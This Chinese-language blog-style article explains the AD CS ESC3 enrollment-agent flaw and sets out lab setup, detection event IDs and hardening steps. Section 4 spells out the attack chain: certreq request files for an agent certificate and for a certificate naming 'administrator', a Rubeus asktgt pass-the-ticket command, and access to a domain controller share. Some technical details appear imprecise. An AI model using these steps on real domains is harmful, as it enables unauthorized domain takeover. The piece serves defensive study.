1. 我为什么花一整周研究这个“过时”的证书漏洞
先说明白,这篇不是教你干坏事的。我花了整整一周时间搭建测试环境、复现过程、写检测规则,核心目的是搞清楚一件事:在一个已经修了补丁、甚至禁用了ADCS的环境里,攻击者还能不能利用证书服务搞出点名堂?
先给不熟悉的朋友补个背景。ADCS(Active Directory Certificate Services)是微软自家的证书颁发机构,域内用来发各种证书:用户登录用的、加密文件用的、代码签名用的都有。而ESC3,是安全研究员发现的一类逻辑漏洞——证书服务在处理“注册代理”和“证书模板”时,存在一系列可以被组合利用的缺陷。攻击者不需要多高深的技术,只要在域内拿到一个普通账号,就有机会一路打到域管权限。
之所以说“菜鸟也能变身域管理员”,是因为这套利用链一旦凑齐条件,执行起来几乎不需要什么花哨的代码,点点鼠标、敲几条命令就能完成。下面我会从原理、环境、复现、检测、防御一条龙讲透,全程以防御者视角为主,看完你能知道怎么发现、怎么拦、怎么修。
2. 先搞懂ESC3到底错在哪:证书逻辑的三个致命误解
2.1 证书模板、注册代理和“以其他身份申请”的关系
要理解ESC3,先得知道ADCS里几个核心概念是怎么配合的。
证书模板(Certificate Template)是ADCS上预定义的“证书款式”,里面规定了这张证书能做什么、谁能申请、密钥用途是什么。比如“用户”模板,允许域用户申请一张用来登录和签名的证书;而“计算机”模板,则是给机器用的。
注册代理(Enrollment Agent)是一个特殊权限。正常情况下,只有特定账号(比如管理员授权的支持人员)才允许“代别人申请证书”。这种申请方式在界面上叫“以其他身份申请”(Enroll on Behalf Of),常用于批量给员工或设备发证书。
ESC3的问题,恰恰出在这个“代申请”流程上。
2.2 ESC3的核心错误:授权链断裂和模板误配
我拆解一下漏洞链条。ADCS里有一个内置模板,名叫“Exchange Enrollment Agent (Offline Request)”(简称EEA模板),设计初衷是给Exchange服务器用的,允许指定的代理账号离线提交证书申请。
问题来了。这个EEA模板本身没有任何增强的密钥使用(EKU)限制,也允许低权限用户读取和申请。在攻击者眼里,这就成了“万能跳板”。利用逻辑大致是这样:
- 攻击者以普通域用户身份,先向EEA模板申请一张“注册代理证书”。这张证书代表他现在是一个“被信任的注册代理”。
- 拿到代理证书后,攻击者切换到“以其他身份申请”模式,去申请任何允许域用户注册且支持智能卡登录或证书身份验证的模板,比如“用户”模板。
- 在申请请求里,攻击者把目标对象指定为“域管理员”(或者任何高权限账号)。
- 证书颁发机构审核时,只看到“注册代理”身份有效,于是真的给攻击者发了一张以域管理员身份命名、允许域登录认证的证书。
- 攻击者拿着这张证书,做一次PKINIT认证,直接获得了域管理员的Kerberos Ticket Granting Ticket(TGT)——域管权限到手。
整个过程里,ADCS犯了一个致命错误:授权链没有形成闭环。注册代理证书的申请和普通证书的申请被拆成了两步,但证书服务的校验逻辑没有“串”起来。它以为“代理证书没问题,所以代申请的请求没问题”,却忘了验证“代理证书持有者到底有没有权限给域管理员申请证书”。
用生活类比:这就像小区门卫听说“你是业主朋友”就放你进了小区大门,但没核实“业主本人到底认不认识你”。只要骗过第一道门,后面所有的门都靠同一句谎言。
注意:ESC3不只是EEA模板这一个入口。理论上,任何满足“允许低权限用户申请 + 没有限制EKU + 允许代申请”三要素的模板都可能成为跳板。实际环境里,运维人员还可能自行创建了类似的代理模板,那就更容易被利用了。
2.3 和ESC1、ESC6等其他证书漏洞的区别
研究ADCS漏洞的人常把ESC1、ESC3、ESC6混为一谈,但它们的成因完全不同,我在表里做个对比:
| 漏洞编号 | 核心成因 | 关键条件 | 利用复杂度 |
|---|---|---|---|
| ESC1 | 模板允许普通用户注册,且EKU未被限制,SAN(主题备用名称)可在申请时由用户指定 | 模板允许低权限用户注册 + EKU支持认证 + 申请者可指定SAN | 低 |
| ESC3 | 注册代理证书审批与后续代申请流程分离,未校验代理权限 | 存在可低权限申请的代理模板 + 存在可低权限申请、可域认证的目标模板 | 低 |
| ESC6 | CA的“EDITF_ATTRIBUTESUBJECTALTNAME2”策略开启,允许任何人在请求中指定SAN | CA配置存在特定注册表值 | 低 |
从中能看出来,ESC3的本质在于流程分离导致的不信任,而不是某个单一配置错误。这也是为什么单纯打补丁不一定能解决全部问题——补丁可能修复了某个模板的默认权限,但如果你自己创建的代理模板依然符合上述条件,漏洞依然存在。
3. 复现前的环境准备:在测试域里搭建ADCS
3.1 测试环境拓扑
我建议至少准备三台虚拟机:
- 一台域控制器(同时装了DNS);
- 一台CA服务器(独立CA,隶属于同一域);
- 一台“受害者”域成员机(用来模拟攻击者日常操作)。
域级别建议直接用Server 2016或2019,没必要上Server 2025,因为测试逻辑不依赖新特性。CA服务器只用独立的“企业CA”即可,证书服务默认配置别乱改。
3.2 安装ADCS的细节坑
安装过程本身不复杂,但有几个坑我踩过,直接写出来避免你们踩:
- 安装ADCS角色时,不要把CA和域控制器装在同一台机器。虽然实验环境图省事可以这样,但生产环境绝对不要这么做,因为CA的数据库和私钥会被域控备份逻辑意外纳入恢复范围,导致私钥暴露风险。
- 在“CA类型”选择界面,务必选“企业CA”。独立CA不依赖AD,但也没有模板管理功能,ESC3的实验根本跑不起来。
- 安装完成后,检查CA的Web注册接口(CertSrv)是否正常开启。默认情况下IIS站点会建好,但有些系统镜像精简过,需要手动补IIS组件。
- 设置CA的两组密钥:CA私钥长度至少2048位,哈希算法用SHA256,别用老的SHA1,否则Windows新版本可能无法正常验证。
装好后,用管理员账号在CA服务器上打开证书颁发机构管理工具,确认CA状态是“正在服务”。
3.3 配置实验必需的“宽松”模板
实验环境里,我们需要手动构造“宽松”模板来复现ESC3。在测试域里模拟一个“管理员图省事”的典型配置:
- 复制内置的“Exchange Enrollment Agent (Offline Request)”模板,命名为“Test-EEA”。
- 在“安全”标签页里,把“Domain Users”的“读取”和“注册”权限勾上。
- 确认该模板的“请求处理”里没有勾选“使用户无法注册”的限制。
- 再复制一个“用户”模板,命名为“Test-User”,同样允许Domain Users注册,保留默认的智能卡登录EKU。
这样,我们的环境就具备ESC3的两个核心要素:可低权限申请的代理模板 + 可低权限申请的域认证模板。
重要提示:以上操作仅限隔离的虚拟机测试环境,千万不能在任何生产环境、客户环境、或包含真实用户数据的网络里复现。这方面的红线没有商量余地。
4. 一步步演示:从普通域用户到域管权限的完整过程
4.1 申请注册代理证书
复现期间,我在受害者机器上以普通域用户“zhangsan”登录,打开浏览器访问CA的Web注册接口:
https://<CA服务器>/certsrv/certrqma.asp登录后进入“申请证书”→ “高级证书申请” → “使用base64编码的CMC或PKCS#10文件提交申请”。这里我直接用命令行的certreq工具,比网页更快:
certreq -new -inf request.inf eea.reqrequest.inf内容如下:
[Version] Signature="$Windows NT$" [NewRequest] Subject="CN=zhangsan代理证书" KeySpec=1 KeyUsage=0xA0 MachineKeySet=0 RequestType=PKCS10 [RequestAttributes] CertificateTemplate=Test-EEA提交后,CA会签发一张“注册代理证书”。拿到证书后要安装到当前用户“个人”证书存储:
certreq -accept eea.cer此时,zhangsan已经从一个普通用户变成了“名义上的注册代理”。这一步往往不会引起任何警报,因为它用的完全是ADCS的合法机制。
4.2 代申请域管理员证书
接下来就是ESC3核心步骤。用注册代理证书,以“域管理员administrator”的身份申请一张“Test-User”模板的证书:
certreq -new -inf request2.inf admin.reqrequest2.inf内容:
[Version] Signature="$Windows NT$" [NewRequest] Subject="CN=administrator" KeySpec=1 KeyUsage=0xA0 MachineKeySet=0 RequestType=PKCS10 [RequestAttributes] CertificateTemplate=Test-User文件里多了一行关键信息:申请者主体名称指定为“administrator”。因为Web注册接口会读取注册代理证书里记录的“代理身份”,并结合请求指定对象生成SAN。
提交请求后,CA签发了“以administrator名义、具备智能卡登录EKU”的证书。没有弹窗、没有拒绝、没有任何“需要额外审批”的提示。
4.3 通过证书获取域管TGT
这一步我用了现成的开源工具。安装证书到当前用户存储:
certreq -accept admin.cer然后调用Windows自带的证书认证接口做PKINIT。命令大致是:
Rubeus.exe asktgt /user:administrator /certificate:<base64证书> /dc:<域控地址> /ptt(说明:此处工具仅仅是个演示手段,Windows原生SDK里也可以写代码调用LsaLogonUser完成同样的认证,工具只是简化了流程。)
执行成功后,当前会话里会多出一张administrator的TGT票据。用:
klist就能看到。然后我直接用这个会话访问域控的共享文件:
dir \\dc01\c$没有任何报错——域管理员权限已生效。
看到这里你应该明白了,为什么叫“菜鸟也能变身域管理员”。整个链路没有利用任何0day、没有内存破坏、没有暴力破解,全靠合法证书服务自身的逻辑缺陷。
5. 站在防御方:如何发现环境里的ESC3利用迹象
复现归复现,真正有价值的还是检测和防御。下面这套是我在复现过程中配合日志分析整理出来的实战检测思路。
5.1 证书服务日志里的关键事件ID
域控和CA默认会记录大量安全日志,关键看这几个事件:
| 事件ID | 来源 | 含义 | 利用检测点 |
|---|---|---|---|
| 4886 | CA | 证书服务收到证书申请 | 关注申请者的用户主体名称和申请目标模板 |
| 4887 | CA | 证书服务批准证书申请 | 结合4886核对是否存在“代申请高权限账号”的异常 |
| 4896 | CA | 证书数据库加载 | 较少用到,可用于基线 |
| 4768 | 域控 | Kerberos TGT请求 | 关注证书登录产生的TGT |
| 4769 | 域控 | 服务票据请求 | 关注是否出现到域控的黄金票据式访问 |
| 4624 | 域控 | 账户登录成功 | 关注登录类型、证书登录标志 |
在测试环境里最有价值的组合是:同一时间窗口内,4886事件的申请者账户是普通用户,但申请主体名称是域管;随后出现4768事件,且登录方式包含证书登录信息。这种组合非常可疑,几乎可以直接定为入侵指标。
5.2 Sysmon和日志采集的建议
如果只是看默认Windows日志,收集和告警效率都很低。我建议在关键服务器上启用Sysmon,并重点关注:
- Sysmon事件ID 1(进程创建),关注certreq.exe的执行;
- Sysmon事件ID 13(注册表值变更),关注CA配置项是否被改动;
- Sysmon事件ID 11(文件创建),关注是否有明显的Rubeus等工具的落地。
日志集中用常见的SIEM平台或者开源日志方案都可以,关键是别等事后再翻日志,要有实时告警。
5.3 一个我自用的快速排查脚本思路
如果不想上完整SIEM,可以写个简单的PowerShell脚本定时扫描CA日志,判断当天是否有非域管账户申请了“域管名称的证书”。核心逻辑分三步:
- 拉取所有4886事件;
- 提取申请者主体和证书模板;
- 比对目标名称是否是Builtin\Administrators组成员。
如果命中且申请来源不在白名单内,直接告警。
心得:这类检测最怕“日志没开”。默认安装的CA服务器,安全日志大小可能只有128MB,要分析历史数据根本不够。我建议至少把日志大小调到1GB以上,并启用“审核证书服务”策略组。
6. 防御加固方案:从配置、补丁到监控的完整清单
6.1 权限配置层面的紧急处理
在事件响应阶段,如果已经确认CA存在ESC3风险,最紧急的事情不是打补丁,而是先把权限收口:
- 将EEA模板(及所有自定义代理模板)的“读取”和“注册”权限,从Domain Users组移除,只保留专门管理员组;
- 检查是否还有其他允许低权限用户注册的模板,特别是那些“未限制EKU”的模板。凡是支持域认证的模板,注册权限都必须限定在指定人员;
- 对CA上的“用户”模板,同样收紧注册权限,避免低权限账号直接申请。
6.2 补丁和基线核查
微软针对ADCS相关漏洞发布了多个安全更新,但这块不能只看“自动更新已开”就完事:
- 确保CA服务器和域控都安装了最新的安全累积更新;
- 用官方或社区提供的ADCS安全基线检查脚本,扫描一遍环境中所有CA模板的ACL、EKU、允许注册对象。
我自己习惯用一个开源检测工具,它会把“谁有权力申请哪个模板”输出成表格,非常直观。建议每个季度跑一轮。
6.3 证书模板管理的长期运维策略
长期来看,证书服务不能“装完就忘”。模板管理要走审批流程:
- 所有新模板默认不允许Domain Users注册;
- 模板必须显式申明EKU用途,对于“无EKU或允许所有用途”的模板一律拒绝;
- 启用证书申请的“审核”策略,CA人工审批所有证书申请,不自动签发;
- 建立证书注销和吊销流程,不当模板立即禁用。
6.4 安全监控的常态化
除了本机日志,最好再在域控和CA上部署行为监控:
- 跟踪非标准工具落地。哪怕是合法工具,只要出现在不该出现的服务器上,都要告警;
- 对4756、4732这类组变更事件保持敏感,防攻击者拿到权限后再建持久化账号;
- 对CA服务器做完整性监控,防止攻击者直接篡改模板配置或者替换CA私钥。
7. 从零基础到精通的几个常见误区
7.1 误区一:“打补丁就没问题了”
很多朋友以为ESC3会被安全补丁直接修复。实际上,微软确实改进了默认模板的安全性,但对自定义模板、历史遗留模板覆盖有限。即便打了补丁,只要存在满足条件的“宽松模板”,漏洞一样能在新代码上利用。这也是我坚持“配置基线 + 权限评审 + 监控”三件套的核心原因。
7.2 误区二:“我们用的是云CA,没这事”
如果你用的是微软的云证书服务或第三方托管CA,模板审核逻辑可能不同,但ESC3的思想依然适用——凡是“代申请”流程与最终证书用途分离的服务,都存在被滥用可能。不要因为换了平台就放松警惕。
7.3 误区三:“只要看不到攻击工具就代表安全”
我复现的时候完全没有用到前几百篇博客里常见的攻击工具,仅用Windows自己的certreq命令就能完成所有步骤。工具检测不是万能钥匙,核心还得看业务逻辑告警。
7.4 误区四:“ADCS是传统服务,新环境下没人用”
恰恰相反,很多企业因为内部系统老旧,ADCS反而在全国各地分支、生产网络中广泛存在。越“老旧”的系统越容易被遗忘,也越容易成为攻击链上的咽喉。只要域内还有一台CA,它就该纳入重点监控。
8. 我的最终建议:别把ADCS当成“隐形服务”
我和很多运维朋友交流过,ADCS给人的感觉一直是“装好就不管了”。但实际上,它是整个身份认证体系里最容易被低估的组件之一。CA私钥一旦泄露,就相当于域里多了一台永不锁定的域控。
因此,哪怕现在环境里没发现异常,也建议立刻做三件事:
- 清点域内所有CA服务器,确认它们的运行状态、补丁版本、模板权限;
- 用工具导出所有证书模板的ACL,逐一审核“谁可以从哪些模板注册证书”;
- 把CA日志接入日常安全告警平台,设定异常证书申请的触发规则。
整个过程可能花半天到一天,但省下的可能是未来一次完整域渗透的代价。
最后分享一个个人习惯:我在每次ADCS变更后,都会在测试环境里跑一遍“新人视角”的模拟——以最低权限账号身份,把所有可以申请的模板列出来,看看能不能伪造出不属于自己的身份。这个习惯帮我揪出过好几次配置遗漏。你也可以试试,安全这事,还是自己动手踢几脚最踏实。